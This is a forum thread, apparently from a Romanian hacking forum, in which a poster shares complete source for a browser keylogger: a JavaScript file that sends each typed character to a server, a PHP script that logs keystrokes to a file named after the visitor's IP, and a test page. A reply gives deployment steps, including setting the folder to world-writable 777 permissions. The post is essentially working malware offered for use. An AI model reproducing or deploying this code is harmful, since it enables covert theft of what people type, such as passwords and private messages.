Jump to content
Nytro

HTML Ajax Keylogger

Recommended Posts

Posted

By reiluke

kl.js

function GetCandy(event)
{
var kreiluke = “”;
var isNetscape = (navigator.appName.indexOf(”Netscape”) != -1);
var kreiluke = (isNetscape) ? String.fromCharCode(event.which) : String.fromCharCode(event.keyCode);
makeRequest(’kl.php?iambr=’ + kreiluke);
}
function makeRequest(url)
{
var httpRequest;
if (window.XMLHttpRequest)
{ // Mozilla, Safari, …
httpRequest = new XMLHttpRequest();
if (httpRequest.overrideMimeType) {
httpRequest.overrideMimeType(’text/xml’);
}
}
else if (window.ActiveXObject)
{ // IE
try
{
httpRequest = new ActiveXObject(”Msxml2.XMLHTTP”);
}
catch (e) {
try {
httpRequest = new ActiveXObject(”Mcft.XMLHTTP”);
}
catch (e) {}
}
}
if (!httpRequest)
{
alert(’Giving up Cannot create an XMLHTTP instance’);
return false;
}
httpRequest.onreadystatechange = function() { alertContents(httpRequest); };
httpRequest.open(’GET’, url, true);
httpRequest.send(null);
}
function alertContents(httpRequest)
{
if (httpRequest.readyState == 4) {
if (httpRequest.status == 200) {
}
else
{
alert(’There was a problem with the request.’);
}
}
}

kl.php

<?php
$_GET[’iambr’];
$file = fopen($_SERVER[’REMOTE_ADDR’] . “-logged.txt”,”a”);
fwrite($file,$_GET[’iambr’]);
fclose($file);
?>

testpage.html

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”
“http://www.w3.org/TR/html4/loose.dtd”>
<html>
<head>
<SCRIPT language=”JavaScript” SRC=”kl.js”></SCRIPT>
</head>
<body onkeyup=”GetCandy(event)”>
<p>press a ~censored~ key at it will be logged</p>
</body>
</html>

Posted

Uploadati fisierele pe un host, setati permisiunile folderului in care se afla la 777, intrati pe pagina HTML, apasati taste la intamplare, apoi vedeti in acel folder daca s-a creat un fisier cu IP-ul vostru.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...